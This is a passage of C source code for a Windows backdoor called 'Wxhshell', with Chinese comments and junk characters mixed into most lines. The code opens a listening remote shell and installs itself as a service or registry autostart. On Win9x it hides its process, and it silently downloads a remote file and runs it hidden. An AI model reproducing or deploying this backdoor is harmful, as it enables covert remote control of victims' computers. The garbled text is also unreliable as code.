< (^Do#3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?\F ,}e if(!hProcess) return 0; :7>Si% 2i(|? XJ^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pjb9FCA' UmgLH Cz CloseHandle(hProcess); 3]Lk}0atpL \a]\jZb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =3SL&
:8 if(hProcess==NULL) return 0; FvI`S> X-{:.9 HMODULE hMod; -;`W"&`ss char procName[255]; sqZHk+<% unsigned long cbNeeded; BtHvfoT .DvAX(2v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dju&Ku
G[>-@9_b CloseHandle(hProcess); Gj_b GqF8} VD#^Xy4% r if(strstr(procName,"services")) return 1; // 以服务启动 l*:p== YKc{P"'/| return 0; // 注册表启动 }t-r:R$, } GyPN)!X@.& : }IS=A // 主模块 -<O:isB int StartWxhshell(LPSTR lpCmdLine) z"O-d<U5 { ^c7L!F SOCKET wsl; anwn!Eqk" BOOL val=TRUE; 3 z#;0n} int port=0; j5)qF1W, struct sockaddr_in door; tQ}gBE63 Q8~pIv if(wscfg.ws_autoins) Install(); ~3YNHm6V _/=ZkI5 port=atoi(lpCmdLine); vxt^rBA \~H"!vj if(port<=0) port=wscfg.ws_port; v:0i5h&M 4yM8W\je WSADATA data; o <'gM]$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; an2Tc*=~l( 7A|jnm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }00e@a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #?=cg]v_ door.sin_family = AF_INET; D/Wuan?yPN door.sin_addr.s_addr = inet_addr("127.0.0.1"); J?<L8;$s7 door.sin_port = htons(port); \nyFN 6J*`<k/S if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !T{g& f closesocket(wsl); GT.^u#r return 1; vSA%A47G } yi?&^nX@9, ?:nZv<
x if(listen(wsl,2) == INVALID_SOCKET) { xVyUUzXs closesocket(wsl); 8(D}y\ return 1; Mt Z(\&~ } "p{'984r< Wxhshell(wsl); 3$cF)5V f WSACleanup(); f)x}_dw% iPOZ{'Z return 0; -!cAr
< J4g;~#_19 } v1=X =H 9%qMZP0] // 以NT服务方式启动 #U}U>4' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0d ->$gb { QO.gt*" DWORD status = 0; \ c&)8.r DWORD specificError = 0xfffffff; 2>k)=hl: 0?xiG SZV serviceStatus.dwServiceType = SERVICE_WIN32; n y)P serviceStatus.dwCurrentState = SERVICE_START_PENDING; rk |(BA serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vcq?>mH&T serviceStatus.dwWin32ExitCode = 0; Zg&\K~OC serviceStatus.dwServiceSpecificExitCode = 0; i)i)3K2 serviceStatus.dwCheckPoint = 0; ]P$DAi serviceStatus.dwWaitHint = 0; jPNfLwVkl: jSYg\Z5! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n;-r
W;ZO if (hServiceStatusHandle==0) return; %UQB?dkf$ c$kb0VR status = GetLastError(); IJY5wP1" if (status!=NO_ERROR) &2=KQ\HO { "D(8]EG= serviceStatus.dwCurrentState = SERVICE_STOPPED; vqOLSE"t*O serviceStatus.dwCheckPoint = 0; !<zzP LC serviceStatus.dwWaitHint = 0; JvL'gJ$70 serviceStatus.dwWin32ExitCode = status; ,nR8l serviceStatus.dwServiceSpecificExitCode = specificError; s@LNQ|'kO SetServiceStatus(hServiceStatusHandle, &serviceStatus); <]^;/2.B return; =awO63j> } gQ[^gPWP" 7&1~O# serviceStatus.dwCurrentState = SERVICE_RUNNING; "%Ana=cc serviceStatus.dwCheckPoint = 0; d5"EvT serviceStatus.dwWaitHint = 0; )?&kQ^@v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #6sC&w3 } pEj^x[b`^ J%:/<uCmZ // 处理NT服务事件,比如:启动、停止 `uZv9I" VOID WINAPI NTServiceHandler(DWORD fdwControl) /cC6qhkp% { hdtnC29$ switch(fdwControl) ;c-
]bhBB { NS4'IR=;E! case SERVICE_CONTROL_STOP: xY'qm8V serviceStatus.dwWin32ExitCode = 0; -^4bA<dCCE serviceStatus.dwCurrentState = SERVICE_STOPPED; +1Rrkok serviceStatus.dwCheckPoint = 0; ~]W[ {3 ; serviceStatus.dwWaitHint = 0; ZoON5P> { mzE$aFu8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); TDFO9%2c } f\);HJbg return; 2Uv3_i< case SERVICE_CONTROL_PAUSE: ,0uo&/Y4L serviceStatus.dwCurrentState = SERVICE_PAUSED; 4:Xj-l^D break; Wx?&igh case SERVICE_CONTROL_CONTINUE: {jM<t serviceStatus.dwCurrentState = SERVICE_RUNNING; 9c^skNbS break; lIVxW+ case SERVICE_CONTROL_INTERROGATE: 5`"*y iv break; dxn0HXU }; AX!>l; SetServiceStatus(hServiceStatusHandle, &serviceStatus); :-u-hO5*8 } yMbcFDlBr }or2 $\>m // 标准应用程序主函数 2rO)qjiH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jemxky { 7^I$%o 1g <,@H;|mZ // 获取操作系统版本 VXkAFgO OsIsNt=GetOsVer(); uGa(_ut GetModuleFileName(NULL,ExeFile,MAX_PATH); 0n*rs=\VG 'Gl;Ir^ // 从命令行安装 ]D{c4)\7C| if(strpbrk(lpCmdLine,"iI")) Install(); a*6wSAA ) DhWWN>I // 下载执行文件 8Da(tS if(wscfg.ws_downexe) { nOoKGT if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ApG'jN WinExec(wscfg.ws_filenam,SW_HIDE); m)@Q_{=6M } 0):uF_t< T/wM(pr'
if(!OsIsNt) { L2CW'Hd // 如果时win9x,隐藏进程并且设置为注册表启动 }%!FMXe HideProc(); n5egKAgA StartWxhshell(lpCmdLine); .'5'0lR5 } ~VqFZasV else 5;FP.{+ if(StartFromService()) uX<+hG.n} // 以服务方式启动 oUQGLl!V StartServiceCtrlDispatcher(DispatchTable); n2n00%Wu[ else <`c25ih.4 // 普通方式启动 s?^,iQ+tp StartWxhshell(lpCmdLine); ?CH?kP %"l81z return 0; W
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